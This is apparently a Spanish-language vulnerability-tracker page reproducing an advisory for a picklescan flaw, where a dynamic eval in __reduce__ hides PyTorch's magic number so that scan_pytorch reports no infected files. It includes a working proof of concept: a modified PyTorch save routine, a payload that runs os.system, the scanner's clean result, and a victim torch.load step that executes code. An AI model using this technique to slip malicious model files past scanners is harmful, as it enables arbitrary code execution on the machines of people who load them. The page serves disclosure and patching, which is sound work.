GHSA-97F8-7CMV-76J2
Picklescan (scan_pytorch) Bypass via dynamic eval MAGIC_NUMBER
Ciclo de vida de la vulnerabilidad
| Fecha | Fase | Evento | Detalle |
|---|---|---|---|
| Remediación | Parche 1.0.3 | picklescan · -2 d desde divulgación | |
| Divulgación | Publicada | GHSA-97F8-7CMV-76J2 divulgada | |
| Divulgación | Modificada | Última actualización del registro | |
| Monitoreo | Detectada | Ingresó al índice |
### Summary
This is a scanning bypass to `scan_pytorch` function in `picklescan`. As we can see in the implementation of get_magic_number() https://github.com/mmaitre314/picklescan/blob/2a8383cfeb4158567f9770d86597300c9e508d0f/src/picklescan/torch.py#L76C5-L84 that uses `pickletools.genops(data)` to get the `magic_number` with the condition `opcode.name` includes `INT` or `LONG`, but the PyTorch's implemtation simply uses pickle_module.load() https://github.com/pytorch/pytorch/blob/134179474539648ba7dee1317959529fbd0e7f89/torch/serialization.py#L1797 to get this `magic_number`. For this implementation difference, we then can embed the `magic_code` into the `PyTorch` file via dynamic `eval` on the `\_\_reduce\_\_` trick, which can make the `pickletools.genops(data)` cannot get the `magic_code` in `INT` or `LONG` type, but the `pickle_module.load()` can still return the same `magic_code`, eading to a bypass.
### PoC
#### Attack Step 1
we can edit the source code of the function \_legacy\_save() https://github.com/pytorch/pytorch/blob/134179474539648ba7dee1317959529fbd0e7f89/torch/serialization.py#L1120 as follows:
class payload:
def __reduce__(self):
return (eval, ('MAGIC_NUMBER',))
pickle_module.dump(payload(), f, protocol=pickle_protocol)#### Attack Step 2
with the modified version of `PyTorch`, we run the following PoC to generate the `payload.pt`:
import torch
class payload:
def __reduce__(self):
return (__import__('os').system, ('touch /tmp/hacked',))
torch.save(payload(), './payload.pt', _use_new_zipfile_serialization = False)Picklescan result
ERROR: Invalid magic number for file /home/pzhou/bug-bunty/pytorch/PoC/payload.pt: None != 119547037146038801333356
----------- SCAN SUMMARY -----------
Scanned files: 0
Infected files: 0
Dangerous globals: 0Victim Step
import torch
torch.load('./payload.pt', weights_only=False)then you can find the illegal file `/tmp/hacked` created in your local system.
### Impact
Craft malicious `PyTorch` payloads to bypass `picklescan`, then recall ACE/RCE.
Incluye detalles técnicos publicados por el investigador. Úselos solo para validar y corregir sus propios sistemas.
Rangos afectados
Estado del parche por paquete
| Paquete / producto | Estado | Corregida en | Desde divulgación | Última versión |
|---|---|---|---|---|
pypipicklescan |
Corregida | 1.0.3 | -2 d | 1.0.5 no afectada |
1.0.3Arsenal público
Sin exploits, módulos ni PoC públicos conocidos a la fecha de verificación.
https://nvd.nist.gov/vuln/detail/CVE-2026-53875https://github.com/mmaitre314/picklescan/security/advisories/GHSA-97f8-7cmv-76j2https://github.com/mmaitre314/picklescan/commit/134179474539648ba7dee1317959529fbd0e7f89https://github.com/mmaitre314/picklescan/commit/2a8383cfeb4158567f9770d86597300c9e508d0fhttps://github.com/mmaitre314/picklescan/commit/b9997634683a4f4bd0c7e3701e7ce7e90fe70e8chttps://github.com/mmaitre314/picklescanhttps://www.vulncheck.com/advisories/picklescan-scanning-bypass-via-dynamic-eval-in-scan-pytorchLas referencias externas se muestran para copiar: cve.llama.ec no lo redirige a otros sitios.
